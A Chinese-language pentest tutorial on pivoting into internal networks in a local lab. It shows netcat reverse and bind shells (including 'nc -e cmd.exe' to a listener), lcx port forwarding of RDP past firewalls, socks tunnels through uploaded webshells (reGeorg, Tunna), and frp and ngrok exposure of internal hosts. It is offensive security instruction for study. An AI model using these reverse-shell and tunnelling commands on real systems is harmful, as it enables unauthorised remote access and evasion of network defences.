为了给大家看一个效果,我就在本地来简单模拟一下吧!我的环境如下:
物理机:192.168.1.104
VM虚拟机:192.168.207.128
一、nc 反弹
nc是“Netcat”的简称,在网络工具中有“瑞士军刀”的美誉。
1、反向连接
反向连接通俗点理解是“你主动来连接我”。
在这里,我们模拟需要把:
物理机:192.168.1.104 当成任何人都可以访问的外网主机IP。
VM虚拟机:192.168.207.128当成一个内网IP,也就是局域网。
第一步:在公网主机(192.168.1.104)上进行监听:
nc -lvp 4444
第二步:在内网主机(192.168.207.128)上执行命令:
nc -t -e cmd.exe 192.168.1.104 4444
第三步:再回到公网主机(192.168.1.104)这个窗口界面,可以看到已经返回了一个内网主机的cmd shell 结果。
2、正向连接
正向连接通俗点理解是“我主动来连接你”。
在这里,我们模拟需要把:
物理机:192.168.1.104 当成一个本地内网IP,也就是本地局域网。
VM虚拟机:192.168.207.128 当成任何人都可以访问的外网主机IP。
第一步:远程主机(192.168.207.128)上执行命令:
nc -l -p 4444 -t -e cmd.exe
第二步:本地主机(192.168.1.104)上执行命令:
nc -vv 192.168.207.128 4444
第三步:再回到本地主机(192.168.1.104)这个窗口界面,可以看到已经返回了一个远程主机的cmd shell结果。
二、LCX
lcx是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap。
lcx有两大功能:
1、端口转发(listen和slave成对使用)
2、端口映射(tran)
用法:
lcx -<listen|tran|slave> <option> [-log logfile]
[option:]
-listen <ConnectPort> <TransmitPort>
-tran <ConnectPort> <TransmitHost> <TransmitPort>
-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>
1、内网端口转发
第一步:内网主机上执行命令:
lcx.exe –slave 公网主机ip 公网主机端口 内网主机ip 内网主机端口
lcx -slave 192.168.1.104 4444 127.0.0.1 3389
意思是:把内网主机的 3389 端口转发到具有公网ip主机的 4444 端口。
第二步:公网主机上执行命令:
Lcx.exe –listen 公网主机端口1 公网主机端口2
lcx –listen 4444 5555
意思是监听公网主机的 4444 端口请求,并将来自 4444 端口的请求传送给 5555 端口。
第三步:远程桌面连接
也就是RDP 连接,Windows新窗口命令行下输入mstsc,即可打开远程桌面连接。
如果是在公网主机上操作,计算机那栏只需要输入 127.0.0.1:5555,即可;
如果是在本地主机上操作,则输入 公网主机ip:5555 ,然后输入用户名和密码,即可连接到内网主机。
由于我是本地模拟,我把物理机192.168.1.104当成一个公网主机IP模拟的,因此只能用127.0.0.1:5555来连接了。
2、本地端口转发
由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口。
第一步:目标主机上执行:
lcx -tran 53 192.168.1.104 3389
第二步:连接远程桌面;
这时我们可以直接远程桌面连接到到 目标主机IP:53;这里跟上面一样,要看你在公网主机还是本地主机上操作。我这还是以 127.0.0.1:53 来连接。
3、LCX Linux版使用方法
第一步:先在公网ip的主机上执行命令:
./portmap -m 2 -p1 6666 -h2 公网主机ip -p2 7777
意思是监听来自6666端口的请求,将其转发到7777端口;
第二步:再在内网主机上执行命令:
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 6666
意思就是将内网主机22端口的流量转发到公网主机的6666端口。
第三步:然后在Linux系统命令行下执行命令:
ssh 公网主机ip 7777
即可连接内网主机。
三、socks代理工具
1、Termite
Termite 是EW(EarthWorm)的最新版,主要特性: 多平台支持、跳板机互联、正反向级联、小巧无依赖、内置Shell令主机管理更方便。
官方网站: http://rootkiter.com/Termite/
项目地址:https://github.com/rootkiter/Termite
注意:由于作者考虑到该工具影响很坏,此工具已经不再更新了。
具体用法就不多说了,大家自己去看吧!
2、reGeorg
reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。
项目地址:https://github.com/sensepost/reGeorg
依赖:reGeorg需要Python 2.7和urllib3模块
注意:此项目已经好几年没有更新了!大家可以简单的了解一下吧!
用法:
reGeorgSocksProxy.py [-h] [-l] [-p] [-r] -u [-v]
用于reGeorg HTTP Tunneller的Socks服务器
可选参数:
-h,--help 显示此帮助消息并退出
-l,--listen-on 默认的监听地址
-p,--listen-port 默认监听端口
-r,--read-buff 本地读取缓冲区,每个POST发送的最大数据
-u,--url 包含隧道脚本的URL
-v,--verbose 详细输出[INFO | DEBUG]
第一步:将tunnel.aspx | ashx | jsp | php 上传到Web服务器。
第二步:配置工具以使用socks代理,使用启动reGeorgSocksProxy.py时指定的IP地址和端口。
使用Socks5的工具,将代理指向127.0.0.1:8080 就可以了。
第三步:PC端开始运行命令,例如:
$ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
具体可以参考:
reGeorg+Proxifier使用教程
3、sSocks
sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为0.0.14。
下载地址:http://sourceforge.net/projects/ssocks/
这里我提供的压缩包中该软件是已经编译好的!
第一步:下载解压后,执行命令编译。
./configure && make
编译完成,进入src目录,会发现有nsocks、ssocksd、ssocks、rcsocks。
说明:nsocks 类似通过Socks5代理后的netcat,可用来测试socks server ssocksd 用来开启Socks5代理服务 ssocks 本地启用Socks5服务,并反弹到另一IP地址 rcsocks 接收反弹过来的Socks5服务,并转向另一端口。
第二步:公网主机上执行命令:
./rcsocks -l 4444 -p 5555 -vv
第三步:内网主机上执行命令:
./rssocks –vv –s 公网主机ip:5555
这时本地主机可以通过访问公网主机的 4444 端口访问内网主机。
4、proxychains
Proxychains 是一款 LINUX 平台下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上网,允許 TCP 和 DNS 通過代理隧道,支持 HTTP、SOCKS4、SOCKS5 類型的代理服务器,支持 proxy chain,即可配置多个代理,同一個 proxychains 可使用不同类型的代理服务器。
下载地址:http://proxychains.sourceforge.net/
项目地址:https://github.com/rofl0r/proxychains-ng
具体可查看:proxychains下载、安装、使用教程
5、Tunna
该工具使用的先决条件:能够在远程服务器上上传webshell;
用法:
python proxy.py -u <remoteurl> -l <localport> [options]
选项:
--help, -h 显示此帮助信息并退出
--url=URL, -u URL 为远程webshell的URL
--lport=LOCAL_PORT, -l LOCAL_PORT 代表本地侦听端口
--verbose, -v 详细(输出数据包大小)
--buffer=BUFFERSIZE, -b BUFFERSIZE* HTTP请求大小(一些网站对大小有限制)
没有SOCKS选项:
如果使用SOCKS代理,此选项将被忽略
--no-socks, -n 不使用 Socks 代理
--rport=REMOTE_PORT, -r REMOTE_PORT 远程服务端口,供webshell连接
--addr=REMOTE_IP, -a REMOTE_IP 远程webshell连接到的地址(默认为 127.0.0.1)
上游代理选项:
通过本地代理进行隧道连接
--up-proxy=UPPROXY, -x UPPROXY 上游代理(http://proxyserver.com:3128)
--auth, -A 上游代理需要认证
高级选项:
--ping-interval=PING_DELAY, -q PING_DELAY webshprx pinging线程间隔(默认值为0.5)
--start-ping, -s 首先启动ping线程 - 一些服务首先发送数据(例如,SSH)
--cookie, -C 请求cookies
--authentication, -t 基本认证
使用示例:
第一步:先往远程主机上传webshell,这里就上传conn.aspx为例子。
第二步:内网主机为Windows,执行命令:
python proxy.py -u http://10.3.3.1/test/conn.aspx -l 4444 -r 3389 -v
-l 表示本地监听的端口
-r 远程要转发的端口
-v 详细模式
如果内网主机为Linux,则可以将22端口转发出来。
四、frp 内网穿透
frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。
frp 的作用:
- 利用处于内网或防火墙后的机器,对外网环境提供 http 或 https 服务。
- 对于 http, https 服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个80端口。
- 利用处于内网或防火墙后的机器,对外网环境提供 tcp 和 udp 服务,例如在家里通过 ssh 访问处于公司内网环境内的主机。
项目地址:https://github.com/fatedier/frp
下载地址:https://github.com/fatedier/frp/releases
Windows平台文件目录如下:
其中 frpc.ini 和 frpc_full.ini 都为客户端配置文件,其中 frpc_full.ini 包括所有配置信息,我们可参考它来修改 frpc.ini 文件作为我们的配置文件,同理,frps.ini为服务器端配置文件。
将 frps 及 frps.ini 放到具有公网 IP 的机器上。
将 frpc 及 frpc.ini 放到处于内网环境的机器上。
第一步,frp服务端配置文件 frps.ini 示例:
#frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
vhost_http_port = 80
vhost_https_port = 443
dashboard_port = 7500
dashboard_user = {username}
dashboard_pwd = {password}
privilege_mode = true
privilege_token = {privilege_token}
[http]
type = http
auth_token = {auth_token}
custom_domains = {cudtom_domains}
[https]
type = https
auth_token = {auth_token}
custom_domains = {custom_domains}
实际使用时请将上述配置中的花括号处内容替换为自己的配置。比如将 {username} 替换为 admin。
第二步,启动frp服务器端:
frps.exe -c frps.ini
第三步,浏览器访问: 127.0.0.1:7500,输入frps.ini 中配置的用户名和密码即可进入控制面板。
第四步,frp客户端配置文件 frpc.ini 示例:
这里假设 frps 所在服务器的公网 IP 为 x.x.x.x;也就是server_addr。
#frpc.ini
[common]
server_addr = x.x.x.x
server_port = 7000
auth_token = {auth_token}
privilege_token = {privilege_token}
[http]
type = http
local_ip = 127.0.0.1
local_port = 80
[https]
type = https
local_ip = 127.0.0.1
local_port = 443
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 5555
注意:这里的frp客户端和服务端的 auth_token 和 privilege_token 等要保持一致。
第五步,启动frp客户端;
frpc.exe -c frpc.ini
第六步,通过 ssh 访问内网机器,假设用户名为 test:
ssh -oPort=5555 test@x.x.x.x
当然,frp还有很多其它的用法,具体请参考:
frp中文文档:https://github.com/fatedier/frp/blob/master/README_zh.md
五、ngrok 内网穿透
ngrok支持Windows、Linux、Mac OS X等多个平台,可自行选择需要的版本来下载使用。
分为免费版本和收费版本。
官方网站:https://ngrok.com
下地地址:https://ngrok.com/download
简单给大家演示下在Windows平台上的使用步骤吧!具体如下:
第一步:首先在内网主机上执行命令:
python -m SimpleHTTPServer 8089
这里意思是使用 python SimpleHTTPServer快速搭建一个http服务,提供一个文件浏览的web服务。把当前目录发布到8089端口。
第二步:将ngrok上传至内网主机并启动ngrok:
ngrok.exe http 8089
第三步:这时我们只需要在浏览器中访问:
http://cdb0e21b.ngrok.io 或者 https://cdb0e21b.ngrok.io
即可通过HTTP或者HTTPS来访问内网主机上的文件。
当然ngrok还有很多其他功能,更多使用方法请参考官方文档: https://ngrok.com/docs
总结:
目前内网渗透中一般都会用到端口转发与代理,本文也只是列出了一些常见的工具,还有很多其他工具没有涉及到,这只是让大家有一个简单的了解。
文章中提到的所有工具下载地址:https://github.com/Brucetg/Pentest-tools
我还是建议去工具官方下载,毕竟官方才是最新的。虽然说这里也可以下载,自己做模拟测试还是可以的,但是有些工具并不是最新版本。